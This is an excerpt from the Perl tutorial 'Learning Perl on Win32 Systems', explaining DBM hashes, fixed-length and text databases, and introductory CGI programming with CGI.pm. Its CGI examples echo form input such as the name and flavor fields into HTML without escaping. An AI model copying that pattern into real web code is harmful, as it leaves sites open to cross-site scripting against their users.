Variable-Length ( Text) Databases
Win32 Database Interfaces
Exercises

17.1 DBM Databases and DBM Hashes

Most UNIX systems have a standard library called DBM that many Win32 programmers have never heard about. This library provides a simple database management facility that allows programs to store a collection of key-value pairs into a pair of disk files. These files retain the values in the database between invocations of the programs using the database, and these programs can add new values, update existing values, or delete old values.

The DBM library is fairly simple, but being readily available, it has been used for many programs with modest database needs. For example, the famous UNIX mail program, sendmail (and its variants and derivatives), stores its user alias database (the mapping of mail addresses to recipients) as a DBM database. The most popular Usenet news software uses a DBM database to track current and recently seen articles. In spite of this, it is unlikely that you will have DBM files laying around on your Windows system (unless you've already created them using Perl).

Perl provides access to this same DBM mechanism through a rather clever means: a hash can be associated with a DBM database through a process similar to opening a file. This hash (called a DBM array) is then used to access and modify the DBM database. Creating a new element in the array modifies the DBM database immediately. Deleting an element deletes the value from the DBM database, and so on.[1]

[1] This case is actually just a special use of the general tie mechanism. If you want something more flexible, check out the SDBM_File and perltie documentation.

The size, number, and kind of keys and values in a DBM database are restricted, and depending on which version of DBM library you're using, a DBM array may share these same restrictions. Perl for Win32 includes the SDBM database routines. In general, if you keep both the keys and the values down to 1000 arbitrary binary characters or less, you'll probably be OK.

Previous: 16.7 Exercises | Learning Perl on Win32 Systems | Next: 17.2 Opening and Closing DBM Hashes
16.7 Exercises | Book Index | 17.2 Opening and Closing DBM Hashes


[Chapter 17] 17.2 Opening and Closing DBM Hashes

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

17.2 Opening and Closing DBM Hashes

To associate a DBM database with a DBM array, use the dbmopen function, which looks like this:

dbmopen(%ARRAYNAME, "dbmfilename", $mode);

The %ARRAYNAME parameter is a Perl hash. (If this hash already has values, the values are discarded.) This hash becomes connected to the DBM database called dbmfilename, usually stored on disk as a pair of files called dbmfilename.dir and dbmfilename.pag.

The $mode parameter is a number that controls the permission bits of the pair of files if the files need to be created. The number is typically specified in octal format; the frequently used value of 0666 provides read-write access to the database. If the files already exist, this parameter has no effect. For example:

dbmopen(%FRED, "mydatabase", 0666); # open %FRED onto mydatabase

This invocation associates the hash %FRED with the disk files mydatabase.dir and mydatabase.pag in the current directory. If the files don't already exist, they are created with read/write attributes.

The return value from dbmopen is true if the database could be opened or created, and false otherwise, just like an open invocation. If you don't want the files created, use a $mode value of undef. For example:

dbmopen(%A,"c:/temp/xx",undef) || die "cannot open DBM c:/temp/xx";

In this case, if the files c:\temp\xx.dir and c:\temp\xx.pag cannot be opened, the dbmopen call returns false, rather than attempting to create the files.

The DBM array stays open throughout the program. When the program terminates, the association is terminated. You can also break the association in a manner similar to closing a filehandle, by using the dbmclose function:

dbmclose(%A);

Like close, dbmclose returns false if something goes wrong.

Previous: 17.1 DBM Databases and DBM Hashes | Learning Perl on Win32 Systems | Next: 17.3 Using a DBM Hash
17.1 DBM Databases and DBM Hashes | Book Index | 17.3 Using a DBM Hash


[Chapter 17] 17.3 Using a DBM Hash

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

17.3 Using a DBM Hash

After the database is opened, accesses to the DBM hash are mapped into references to the database. Changing or adding a value in the hash causes the corresponding entries to be immediately written into the disk files. For example, once %FRED is opened from the earlier example, we can add, delete, or access elements of the database, like this:

$FRED{"fred"} = "bedrock";  # create (or update) an element
delete $FRED{"barney"};     # remove an element of the database
foreach $key (keys %FRED) { # step through all values
        print "$key has value of $FRED{$key}\n";
}

That last loop has to scan through the entire disk file twice: once to access the keys, and a second time to look up the values from the keys. If you are scanning through a DBM hash, it's generally more disk-efficient to use the each operator, which makes only one pass:

while (($key, $value) = each(%FRED)) {
        print "$key has value of $value\n";
}

Previous: 17.2 Opening and Closing DBM Hashes | Learning Perl on Win32 Systems | Next: 17.4 Fixed-Length Random-Access Databases
17.2 Opening and Closing DBM Hashes | Book Index | 17.4 Fixed-Length Random-Access Databases


[Chapter 17] 17.4 Fixed-Length Random-Access Databases

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

17.4 Fixed-Length Random-Access Databases

Another form of persistent data is the fixed-length, record-oriented disk file. In this scheme, the data consists of a number of records of identical length. The numbering of the records is either not important or determined by some indexing scheme.

For example, we might have a series of records in which the data has 40 characters of first name, a one-character middle initial, 40 characters of last name, and then a two-byte integer for the age. Each record is then 83 bytes long. If we were reading all of the data in the database, we'd read chunks of 83 bytes until we got to the end. If we wanted to go to the fifth record, we'd skip ahead four times 83 bytes (332 bytes) and read the fifth record directly.

Perl supports programs that use such a disk file. A few things are necessary in addition to what you already know:

  • Opening a disk file for both reading and writing, and setting the filehandle to binary mode

  • Moving around in this file to an arbitrary position

  • Fetching data by a length rather than up to the next newline

  • Writing data down in fixed-length blocks

The open function takes an additional plus sign before its I/O direction specification to indicate that the file is really being opened for both reading and writing. For example:

open(A,"+<b");  # open file b read/write (error if file absent)
open(C,"+>d");  # create file d, with read/write access
open(E,"+>>f"); # open or create file f with read/write access

Notice that all we've done was to prepend a plus sign to the I/O direction.

Next, we need to set the filehandle to binary mode using the binmode function:

binmode(A);  # set the filehandle to binary mode

Some operating systems don't need to use binmode, so you may find scripts that don't do this. Windows NT (and Windows 95) systems do need to use binmode, so if you find yourself getting strange results while using a random-access database file, this is the first place you should check.

After we've got the file open, we need to move around in it. You do this with the seek function, which takes the same three parameters as the C fseek library routine. The first parameter is a filehandle; the second parameter gives an offset, which is interpreted in conjunction with the third parameter. Usually, you'll want the third parameter to be zero so that the second parameter selects a new absolute position for the next read from or write to the file. For example, to go to the fifth record on the filehandle NAMES (as described above), you can do this:

seek(NAMES,4*83,0);

After the file pointer has been repositioned, the next input or output will start there. For output, use the print operator, but be sure that the data you are writing is the right length. To obtain the right length, we can call upon the pack() operator:

print NAMES pack("A40 A A40 s", $first, $middle, $last, $age);

That pack() specifier gives 40 characters for $first, a single character for $middle, 40 more characters for $last, and a short (two bytes) for the $age. This should be 83 bytes long, and will be written at the current file position.

Last, we need to fetch a particular record. Although the <NAMES> operator returns all of the data from the current position to the next newline, that's not correct; the data is supposed to go for 83 bytes, and there probably isn't a newline right there. Instead, we use the read function, which looks and works a lot like its C language counterpart:

$count = read(NAMES, $buf, 83);

The first parameter for read is the filehandle. The second parameter is a scalar variable that holds the data that will be read. The third parameter gives the number of bytes to read. The return value from read is the number of bytes actually read; typically, this number is the same number as the number of bytes asked for unless the filehandle is not opened or you are too close to the end of the file.

After you have the 83-character data, break the data into its component parts with the unpack operator:

($first, $middle, $last, $age) = unpack("A40 A A40 s", $buf);

Note that the pack and unpack format strings are the same. Most programs store this string in a variable early in the program, and even compute the length of the records using pack instead of sprinkling the constant 83 everywhere:

$names = "A40 A A40 s";
$names_length = length(pack($names)); # probably 83

Previous: 17.3 Using a DBM Hash | Learning Perl on Win32 Systems | Next: 17.5 Variable-Length ( Text) Databases
17.3 Using a DBM Hash | Book Index | 17.5 Variable-Length ( Text) Databases


[Chapter 17] 17.5 Variable-Length ( Text) Databases

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

17.5 Variable-Length ( Text) Databases

Some system databases (and quite a few user-created databases) are a series of human-readable text lines, with one record per line. For example, the TCP/IP hosts file contains one line per hostname.

Most often, these databases are updated with simple text editors. Updating such a database consists of reading it all into a temporary area (either memory or another disk file), making the necessary changes, and then either writing the result back to the original file or creating a new file with the same name (after deleting or renaming the old version). You can think of this process as a copy pass: the data is copied from the original database to a new version of the database, and changes are made during the copy.

Perl supports a copy-pass-style edit on line-oriented databases using inplace editing. Inplace editing is a modification of the way the diamond operator (<>) reads data from the list of files specified on the command line. Most often, this editing mode is accessed by setting the -i command-line argument, but we can also trigger inplace editing mode from within a program, as shown in the examples that follow.

To trigger the inplace editing mode, set a value into the $^I scalar variable. The value of this variable is important and will be discussed in a moment.

When the <> construct is used and $^I has a value other than undef, the steps marked ##INPLACE## in the following code are added to the list of implicit actions the diamond operator takes:

$ARGV = shift @ARGV;
open(ARGV,"<$ARGV");
rename($ARGV,"$ARGV$^I"); ## INPLACE ##
unlink($ARGV);            ## INPLACE ##
open(ARGVOUT,">$ARGV");   ## INPLACE ##
select(ARGVOUT);          ## INPLACE ##

The effect is that reads from the diamond operator come from the old file, and writes to the default filehandle go to a new copy of the file. The old file remains in a backup file, which is the filename with a suffix equal to the value of the $^I variable. (A bit of magic is also used to copy the attributes from the old file to the new file.) These steps are repeated each time a new file is taken from the @ARGV array.

Typical values for $^I are things like .bak or ~, to create backup files much like the editor creates. A strange and useful value for $^I is the empty string, "", which causes the old file to be neatly eliminated after the edit is complete. Unfortunately, if the system or program crashes during the execution of your program, you lose all of your old data, so this method is recommended only for brave, foolish, or trusting souls.

Here's a way to change everyone's login name to lowercase in some file that contains a list of user logins, one per line:

@ARGV = ("userlist.txt"); # prime the diamond operator
$^I = ".bak";             # write userlist.bak for safety
while (<>) {              # main loop, once for each line
         tr/A-Z/a-z/;     # change everything to lower case
         print;           # send output to ARGVOUT: the new userlist.txt
}

As you can see, this program is pretty simple. In fact, the same program can be generated entirely with a few command-line arguments:

perl -p -i.bak -e 'tr/A-Z/a-z/' userlist.txt

The -p switch brackets your program with a while loop that includes a print statement. The -i switch sets a value into the $^I variable. The -e switch defines the following argument as a piece of Perl code for the loop body. The final argument gives an initial value to @ARGV.

Command-line arguments are discussed in greater detail in Programming Perl or the perlrun documentation.

Previous: 17.4 Fixed-Length Random-Access Databases | Learning Perl on Win32 Systems | Next: 17.6 Win32 Database Interfaces
17.4 Fixed-Length Random-Access Databases | Book Index | 17.6 Win32 Database Interfaces


[Chapter 17] 17.6 Win32 Database Interfaces

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

17.6 Win32 Database Interfaces

We have seen how Perl can be used to create and maintain databases. What we haven't talked about is how Perl can also be used to access data stored in many popular database formats.

One of the handiest extension modules for Perl for Win32 is Win32::ODBC. Written by Dave Roth, Win32::ODBC provides an interface to any ODBC data source for which you have a driver.

A detailed discussion of Win32::ODBC is beyond the scope of this book, but you can find Win32::ODBC at any CPAN site (try www.perl.com/CPAN/authors/Dave_Roth/).

Another popular way to access data from Perl for Win32 is to use the OLE Automation interface to Microsoft's ActiveX Data Objects (ADO). ADO is an OLE interface that provides uniform data access to any compliant data source (including ODBC). See Chapter 19, OLE Automation, for a couple of examples of how to use ADO. For more information on ADO, see www.microsoft.com/ado.

Previous: 17.5 Variable-Length ( Text) Databases | Learning Perl on Win32 Systems | Next: 17.7 Exercises
17.5 Variable-Length ( Text) Databases | Book Index | 17.7 Exercises


[Chapter 17] 17.7 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

17.7 Exercises

See Appendix A, Exercise Answers for answers.

  1. Create two programs: one program that reads the data from <>, splits the data into words, and then updates a DBM file noting the number of occurrences of each word; and another program to open the DBM file and display the results sorted by descending count. Run the first program on a few files and see if the second program picks up the proper counts.

Previous: 17.6 Win32 Database Interfaces | Learning Perl on Win32 Systems | Next: 18. CGI Programming
17.6 Win32 Database Interfaces | Book Index | 18. CGI Programming


[Chapter 18] CGI Programming

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 17.7 Exercises Chapter 18 Next: 18.2 Your CGI Program in Context

18. CGI Programming

Contents:
The CGI.pm Module
Your CGI Program in Context
Simplest CGI Program
Passing Parameters via CGI
Creating a Guestbook Program
Troubleshooting CGI Programs
Perl and the Web: Beyond CGI Programming
Further Reading
Exercises

Unless you've been holed up in a log cabin without electricity for the last few years, you've heard of the World Wide Web. Web addresses (better known as URLs) pop up everywhere from billboards to movie credits, from magazines and newspapers to government reports.

Many of the more interesting web pages include some sort of entry form. You supply input to this form and click on a button or picture. This step fires up a program at the web server that examines your input and generates new output. Sometimes this program (commonly known as a Common Gateway Interface (CGI) program) is just an interface to an existing database, massaging your input into something the database understands and massaging the database's output into something a web browser can understand (usually HTML).

CGI programs do more than process form input. They are also invoked when you click on a graphic image and may in fact be used to provide whatever output that your browser sees. Instead of being dull and boring, CGI-enabled web pages can be marvelously alive with dynamic content. Dynamic information is what makes the Web an interesting and interactive place, and not just a way to read a book from your terminal.

Despite what all those bouncing balls and jumping adverts might lead you to believe, the web contains a lot of text. Because we're dealing with text, files, network communications, and a little bit of binary data now and then, Perl is perfect for web programming.

In this chapter, we'll not only explore the basics of CGI programming, but we'll also steal a little introductory knowledge about references, library modules, and object-oriented programming with Perl as we go along. Then, at the end, we'll make a quick survey of Perl's usefulness for other sorts of web programming.

As a standalone tutorial, this chapter (and most any other document shorter than a couple of hundred pages) will not be adequate to teach the more complex topics touched on here, such as object programming and the use of references. But as a means to gain a preliminary taste of what's ahead of you, the examples presented here, together with their explanations, may whet your appetite and give you some practical orientation as you slog through the appropriate textbooks. And if you're the learn-by-doing type, you'll actually start writing useful programs based on the models you find here.

We assume you already possess a basic familiarity with HTML.

18.1 The CGI.pm Module

Starting with the 5.004 release, the standard Perl distribution includes the all-singing, all-dancing CGI.pm module.[1]

[1] If you have the ActiveState distribution or an earlier release of Perl (but at least version 5.001), and haven't gotten around to upgrading yet, just grab CGI.pm from CPAN. To install it, follow the directions in the README file.

Written by Lincoln Stein, author of the acclaimed book How to Setup and Maintain Your Web Site (Addison-Wesley), this module makes writing CGI programs in Perl a breeze. Like Perl itself, CGI.pm is platform independent, so you can use it on systems running everything from Windows NT to UNIX and VMS.

Assuming CGI.pm is already installed on your system, you can read its complete documentation in the included HTML documentation. If all else fails, just read the source file for CGI.pm: the documentation for the module is embedded in the module itself, written in simple pod format.[2]

[2] Pod stands for "plain old documentation," the simplistic markup used for all Perl documentation. See the perlpod documentation for how it works.

While developing CGI programs, keep a copy of the CGI.pm documentation handy. Not only does it describe the module's functions, it's also loaded with examples and tips.

Previous: 17.7 Exercises | Learning Perl on Win32 Systems | Next: 18.2 Your CGI Program in Context
17.7 Exercises | Book Index | 18.2 Your CGI Program in Context


[Chapter 18] 18.2 Your CGI Program in Context

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 18.1 The CGI.pm Module Chapter 18
CGI Programming 		Next: 18.3 Simplest CGI Program

18.2 Your CGI Program in Context

Figure 18.1 shows the relationships between a web browser, web server, and CGI program. When you click on a link while using your browser, there is a URL associated with the link. This URL specifies a web server and a resource accessible through that server. So the browser communicates with the server, requesting the given resource. If, say, the resource is an HTML fill-out form, the web server responds by downloading the form to the browser, which then displays the form for you to fill out.

Figure 18.1: CGI application flow

Each text-input field on the form has a name (given in the form's HTML code), and an associated value, which is whatever you type into the field. The form itself is associated (via the HTML <FORM> tag) with a CGI program that processes the form input. When you fill out the form and click on Submit, the browser accesses the URL of the CGI program. But first it tacks onto the end of the URL a query string consisting of one or more name=value pairs; each name is the name of a text input field, and each value is the corresponding input you provided. So the URL to which the browser submits your form input looks something like this (where the query string is everything after the question mark):

http://www.SOMEWHERE.org/cgi-bin/some_cgi_prog?flavor=vanilla&size=double

In this case, there are two name=value pairs. Such pairs are separated by an ampersand (&): a detail you won't have to worry about when you use the CGI.pm module. The part of the URL that reads /cgi-bin/some_cgi_prog/ will receive further explanation later; at the moment, you need only note that this part provides a path to the CGI program that will process the HTML form input.

When the web server (www.SOMEWHERE.org in this case) receives the URL from your browser, it invokes the CGI program, passing the name=value pairs to the program as arguments. The program then does whatever it does, and (usually) returns HTML code to the server, which in turn downloads the code to the browser for display to you.

The conversation between the browser and the server, and also between the server and the CGI program, follows the protocol known as HTTP. You needn't worry much about this when writing your CGI program, because CGI.pm takes care of the protocol requirements for you.

The way in which the CGI program expects to receive its arguments (and other information) from the browser via the server is governed by the CGI specification. Again, you don't need to worry too much about this; as you will see, CGI.pm automatically unpacks the arguments for you.

Finally, you should know that CGI programs can work with any HTML document, not just forms. For example, you could write the HTML code:

Click <a href="http://www.SOMEWHERE.org/cgi-bin/fortune.cgi">here</a>
to receive your fortune.

In this case, there wouldn't be any argument supplied to the CGI program with the URL. Or the HTML document could give two links for the user to click on - one to receive a fortune, and one to receive the current date. Both links could point to the same program, in one case with the argument fortune following the question mark in the URL, and in the other case with the argument date. The HTML links would look like this:

<a href="http://www.SOMEWHERE.org/cgi-bin/fortune_or_date?fortune>
<a href="http://www.SOMEWHERE.org/cgi-bin/fortune_or_date?date>

The CGI program (fortune_or_date in this case) would then see which of the two possible arguments it received and execute either the fortune or date program accordingly.

So you see that arguments do not have to be of the name=date variety characteristic of fill-out forms. You can write a CGI program to do most anything you please, and you can pass it most any arguments you please.

In this chapter, we will primarily illustrate HTML fill-out forms. And we will assume that you understand basic HTML code already.[3]

[3] For the full story about HTML, see HTML: The Definitive Guide, Second Edition, O'Reilly & Associates.

Previous: 18.1 The CGI.pm Module | Learning Perl on Win32 Systems | Next: 18.3 Simplest CGI Program
18.1 The CGI.pm Module | Book Index | 18.3 Simplest CGI Program


[Chapter 18] 18.3 Simplest CGI Program

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 18.2 Your CGI Program in Context Chapter 18
CGI Programming 		Next: 18.4 Passing Parameters via CGI

18.3 Simplest CGI Program

Here's the source code for your first CGI program. It's so simple it doesn't even need to use the CGI.pm module.

# howdy--the easiest of CGI programs
print <<END_of_Multiline_Text;
Content-type: text/html

<HTML>
 <HEAD>
 <TITLE>Hello World</TITLE>
 </HEAD>
 <BODY>
 <H1>Greetings, Terrans!</H1>
 </BODY>
</HTML>

END_of_Multiline_Text

Each and every time this program is called, it displays exactly the same thing. It's not particularly dynamic, or interesting. But we'll spice it up later.

This little program contains just one statement: a call to the print function. That somewhat funny looking argument is a here document. It starts with two less-than signs and a word that we'll call the end token. Although this may look like I/O redirection, it's really just a convenient way to quote a multiline string. The string begins on the next line and continues up to a line containing the end token, which must stand by itself at the start of the line. Here documents are especially handy for generating HTML.

The first part in that long string is arguably the most important: the Content-Type line identifies the type of output you're generating. It's immediately followed by a blank line, which must not contain any spaces or tabs. Most beginners' first CGI programs fail because they forget that blank line, which separates the header (somewhat like a mail header) from an optional body following it.[4] After the blank line comes the HTML, which is sent on to be formatted and displayed on the user's browser.

[4] This header is required by the HTTP protocol we mentioned above.

First make sure your program runs correctly from the command line. This is a necessary but not a sufficient step to making sure your program will run as a server script. A lot of other things can go wrong; see the section on "Troubleshooting CGI Programs" later in this chapter.

After it runs properly from the command line, you need to get the program installed on the server machine. Acceptable locations are server- and machine-dependent, although the scripts or cgi-bin directory of your server installation is a good place to start looking. Consult your server documentation or options to be sure.

After your program is installed in a CGI directory, you can execute it by giving its pathname to your browser as part of a URL. For example, if your program is called howdy.plx, the pathname would be:

http://www.SOMEWHERE.org/cgi-bin/howdy.plx

Servers typically define aliases for long pathnames. The server at www.SOMEWHERE.org might well translate cgi-bin/howdy.plx in this URL to something like c:\inetpub\scripts\howdy.plx.

Previous: 18.2 Your CGI Program in Context | Learning Perl on Win32 Systems | Next: 18.4 Passing Parameters via CGI
18.2 Your CGI Program in Context | Book Index | 18.4 Passing Parameters via CGI


[Chapter 18] 18.4 Passing Parameters via CGI

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 18.3 Simplest CGI Program Chapter 18
CGI Programming 		Next: 18.5 Creating a Guestbook Program

18.4 Passing Parameters via CGI

You don't need a form to pass a parameter to (most) CGI programs. This feature is convenient because it lets programs be called via simple links, not just by full-blown forms. To test this out, take the original URL and add a question mark followed by the parameter name, an equal sign, and the value desired. For example, the following URL would call the ice_cream script with the flavor parameter set to the value mint:

http://www.SOMEWHERE.org/cgi-bin/ice_cream.plx?flavor=mint

When you point your browser at this URL, the browser not only requests the web server to invoke the ice_cream.plx program, but it also passes the string flavor=mint to the program. Now it's up to the program to read the argument string and pick it apart. Doing this properly is not as easy as you might think. Many programs try to wing it and parse the request on their own, but most hand-rolled algorithms only work some of the time. Given how hard it is to get it right in all cases, you probably shouldn't try to write your own code, especially when perfectly fine modules already handle the tricky parsing business for you.

Enter the CGI.pm module, which always parses the incoming CGI request correctly. To pull this module into your program, merely say:

use CGI;

somewhere near the top of your program.[5]

[5] All Perl modules end in the suffix .pm; in fact, the use statement assumes this suffix. You can learn how to build your own modules in Chapter 5 of Programming Perl or the perlmod documentation.

The use statement is somewhat like a #include statement in C programming in that it pulls in code from another file at compile time. But it also allows optional arguments specifying which functions and variables you'd like to access from that module. Put those in a list following the module name in the use statement. You can then access the named functions and variables as if they were your own.

In this case, all we need to use from CGI.pm is the param() function.[6]

[6] Some modules automatically export all their functions, but because CGI.pm is really an object module masquerading as a traditional module, we have to ask for its functions explicitly.

If given no arguments, param() returns a list of all the fields that were in the HTML form that this CGI script is responding to. (In the current example, this list contains the flavor field. In general, the list contains all the names in name=value strings received from the submitted form.) If given an argument naming a field, param() returns the value (or values) associated with that field. Therefore, param("flavor") returns "mint", because we passed in ?flavor=mint at the end of the URL.

Even though we have only one item in our import list for use, we'll employ the qw() notation; this way it will be easier to expand the list later:

# ice_cream.plx: program to answer ice cream
# favorite flavor form (version 1)
use CGI qw(param);

print <<END_of_Start;
Content-type: text/html

<HTML>
 <HEAD>
 <TITLE>Hello World</TITLE>
 </HEAD>
 <BODY>
 <H1>Greetings, Terrans!</H1>
END_of_Start

my $favorite = param("flavor");
print "<P>Your favorite flavor is $favorite.";
print <<All_Done;
 </BODY>
</HTML>
All_Done

18.4.1 Less Typing

That's still a lot of typing. Luckily, CGI.pm includes a whole slew of convenience functions for simplifying this. Each of these routines returns a string for you to output. For example, header() returns a string containing the Content-type line with a following blank line, start_html(string) returns string as an HTML title, h1(string) returns string as a first-level HTML heading, and p(string) returns string as a new HTML paragraph.

We could list all these functions in the import list given with use, but that would eventually grow too unwieldy. However, CGI.pm, like many modules, provides you with import tags - labels that stand for groups of functions to import. You simply place the desired tags (each of which begins with a colon) at the beginning of your import list. The tags available with CGI.pm include these:

:cgi

Import all argument-handling methods, such as param().

:form

Import all fill-out form generating methods, such as textfield().

:html2

Import all methods that generate HTML 2.0 standard elements.

:html3

Import all methods that generate HTML 3.0 proposed elements (such as <table>, <super>, and <sub>).

:netscape

Import all methods that generate Netscape-specific HTML extensions.

:shortcuts

Import all HTML-generating shortcuts (that is, "html2" + "html3" + "netscape").

:standard

Import "standard" features: "html2," "form," and "cgi."

:all

Import all the available methods. For the full list, see the CGI.pm module, where the variable %TAGS is defined.

We'll just use :standard. (For more information about importing functions and variables from modules, see the Exporter module in Chapter 7 of Programming Perl.)

Here's our program using all the shortcuts CGI.pm provides:

# cgi-bin/ice_cream.plx: program to answer ice cream
# favorite flavor form (version 2)
use CGI qw(:standard);
print header(), start_html("Hello World"), h1("Hello World");
my $favorite = param("flavor");
print p("Your favorite flavor is $favorite.");
print end_html();

See how much easier that is? You don't have to worry about form decoding, headers, or HTML if you don't want to.

18.4.2 Form Generation

Perhaps you're tired of typing your program's parameter to your browser. Just make a fill-out form instead, which is what most folks are used to. The parts of the form that accept user input are typically called widgets, a much handier term than graphical input devices. Form widgets include single- and multiline textfields, pop-up menus, scrolling lists, and various kinds of buttons and checkboxes.

Create the following HTML page, which includes a form with one textfield widget and a submit button. When the user clicks on the submit button,[7] the ice_cream script specified in the ACTION tag will be called:

[7] Some browsers allow you to leave out the submit button when the form has only a single input text field. When the user types a return in this field, it is treated as a submit request. But you should use proper HTML here.

<!-- ice_cream.html -->
<HTML>
 <HEAD>
 <TITLE>Hello Ice Cream</TITLE>
 </HEAD>
 <BODY>
 <H1>Hello Ice Cream</H1>
 <FORM ACTION="http://www.SOMEWHERE.org/cgi-bin/ice_cream.plx">
 What's your flavor? <INPUT NAME="favorite" VALUE="mint">
 <P>
 <INPUT TYPE="submit">
 </FORM>
 </BODY>
</HTML>

Remember that a CGI program can generate any HTML output that you want, which will then be passed to any browser that fetches the program's URL. A CGI program can, therefore, produce the HTML page with the form on it, just as a CGI program can respond to the user's form input. Moreover, the same program can perform both tasks, one after the other. All you need to do is divide the program into two parts, which do different things depending on whether or not the program was invoked with arguments. If no arguments were received, then the program sends the empty form to the browser; otherwise, the arguments contain a user's input to the previously sent form, and the program returns a response to the browser based on that input.

Keeping everything in a single CGI file this way eases maintenance. The cost is a little more processing time when loading the original page. Here's how it works:

# ice_cream.plx: program to answer *and generate* ice cream
# favorite flavor form (version 3)
use CGI qw(:standard);
my $favorite = param("flavor");
print header, start_html("Hello Ice Cream"),
           h1("Hello Ice Cream");
if ($favorite) {
    print p("Your favorite flavor is $favorite.");
} else {
    # hr() emits horizontal rule: <HR>
    print hr(), start_form();
    print p("Please select a flavor: ",
               textfield("flavor","mint"));
    print end_form(), hr();
}

If, while using your browser, you click on a link that points to this program (and if the link does not specify ?whatever at the end of the URL), you'll see a screen like Figure 18.2.

Figure 18.2: Screen shot of ice_cream.plx (without input)

Now, fill in the flavor field and press Return. Figure 18.3 will appear.

Figure 18.3: Screen shot of ice_cream.plx with params (after input)

18.4.3 Other Form Elements

Now that you know how to create simple text fields in your form and respond to them, you're probably wondering how to make the other kinds of widgets you've seen, like buttons, checkboxes, and menus.

Here's a more elaborate version of our program. We've thrown in some new widgets: pop-up menus, a submit button (named "order"), and a button to reset the entire form and erase all user input. Pop-up menus are pretty much just what they say they are, but the arguments given to popup_menu may perplex you until you've read the following section on "References." The textfield() function creates a text-input field with the indicated name. We'll give more details about this function when describing the guestbook program later in this chapter. Here's an example:

# ice_cream.plx: program to answer and generate ice cream
# order form (version 4)
use strict; # enforce variable declarations and quoting
use CGI qw(:standard);

print header, start_html("Ice Cream Stand"),
    h1("Ice Cream Stand");
if (param()) { # the form has already been filled out
    my $who = param("name");
    my $flavor = param("flavor");
    my $scoops = param("scoops");
    my $taxrate = 1.0743;
    my $cost = sprintf("%.2f", $taxrate *
        (1.00 + $scoops * 0.25));
    print p("Ok, $who, have $scoops scoops of $flavor
        for \$$cost.");
} else { # first time through, so present clean form
    print hr(); # draw a horizontal rule before the form
    print start_form();
    print p("What's your name? ", textfield("name"));
    # FOR EXPLANATION OF FOLLOWING TWO LINES, SEE NEXT SECTION
    print p("What flavor: ", popup_menu("flavor",
        ['mint','cherry','mocha']));
     print p("How many scoops? ",
         popup_menu("scoops", [ 1..3 ]));
     print p(submit("order"), reset("clear"));
     print end_form(), hr();
}
print end_html;

Figure 18.4 shows the initial screen the textfield function generates.

Figure 18.4: Screen shot of ice_cream.plx (final version)

As you'll recall, the param() function, when called without arguments, returns the names of all form-input fields that were filled out. As a result, you can tell whether or not the URL was called from a filled-out form. If you have parameters, then the user filled in some of the fields of an existing form, so respond to them. Otherwise, generate a new form, expecting to have this very same program called a second time.

18.4.4 References

You may have noticed that the popup_menu() functions in the previous example both have a strange kind of argument. Just what are ['mint', 'cherry','mocha'] and [ 1..3 ] doing there? The brackets create something you haven't seen before: a reference to an anonymous array. The popup_menu() function expects an array reference for an argument. Another way to create an array reference is to use a backslash in front of a named array, as in \@choices. So this:

@choices = ('mint','cherry','mocha');
print p("What flavor: ", popup_menu("flavor", \@choices));

works just as well as this:

print p("What flavor: ", popup_menu("flavor",
    ['mint','cherry','mocha']));

References behave somewhat as pointers do in other languages, but with less danger of error. They're values that refer to other values (or variables). Perl references are very strongly typed (and uncastable), and they can never cause general protection faults. Even better, the memory storage pointed to by references is automatically reclaimed when it's no longer used. References play a central role in object-oriented programming. They're also used in traditional programming, forming the basis for data structures more complex than simple one-dimensional arrays and hashes. Perl supports references to both named and anonymous scalars, arrays, hashes, and functions.

Just as you can create references to named arrays with \@array and to anonymous arrays with [ list ], you can also create references to named hashes using \%hash and to anonymous hashes using:[8]

[8] Yes, braces now have quite a few meanings in Perl. The context in which you use them determines what they're doing.

{ key1, value1, key2, value2, ... }

You can learn more about references in Chapter 4 of Programming Perl, or the perlref documentation.

18.4.5 Fancier Calling Sequences

We'll round out the discussion of form widgets by creating a really fancy widget - one that allows the user to select any number of its items. The scrolling_list() function of CGI.pm can take an arbitrary number of argument pairs, each of which consists of a named parameter (beginning with -) and a value for the parameter.

To add a scrolling list to a form, here's all you need to do:

print scrolling_list(
    -NAME => "flavors",
    -VALUES => [ qw(mint chocolate cherry vanilla peach) ],
    -LABELS => {
        mint => "Mighty Mint",
        chocolate => "Cherished Chocolate",
        cherry => "Cheery Cherry",
        vanilla => "Very Vanilla",
        peach => "Perfectly Peachy",
     },
     -SIZE => 3,
     -MULTIPLE => 1, # 1 for true, 0 for false
);

The parameter values have meanings as follows:

-NAME

The name of the widget. You can use the value of this later to retrieve user data from the form with param().

-VALUES

A reference to an anonymous array. The array consists of the keys of the hash referenced by -LABELS.

-LABELS

A reference to an anonymous hash. The values of the hash provide the labels (list items) seen by the form user. When a particular label is selected by the user, the corresponding hash key is what gets returned to the CGI program. That is, if the user selects the item given as Perfectly Peachy, the CGI program will receive the argument peach.

-SIZE

A number determining how many list items will be visible to the user at one time.

-MULTIPLE

A true or false value (in Perl's sense of true and false) indicating whether the form user will be allowed to choose more than one list item.

When you've set -MULTIPLE to true, you'll want to assign param()'s return list to an array:

@choices = param("flavors");

Here's another way to create the same scrolling list, passing a reference to an existing hash instead of creating one on the fly:

%flavors = (
    mint => "Mighty Mint",
    chocolate => "Cherished Chocolate",
    cherry => "Cheery Cherry",
    vanilla => "Very Vanilla",
    peach => "Perfectly Peachy",
);
print scrolling_list(
    -NAME => "flavors",
    -LABELS => \%flavors,
    -VALUES => [ keys %flavors ],
    -SIZE => 3,
    -MULTIPLE => 1, # 1 for true, 0 for false
);

This time we send in values computed from the keys of the %flavors hash, which is itself passed in by reference using the backslash operator. Notice how the -VALUES parameter is still wrapped in square brackets? Passing in the result of keys as a list wouldn't work because the calling convention for the scrolling_list() function requires an array reference there, which the brackets happily provide. Think of the brackets as a convenient way to treat multiple values as a single value.

Previous: 18.3 Simplest CGI Program | Learning Perl on Win32 Systems | Next: 18.5 Creating a Guestbook Program
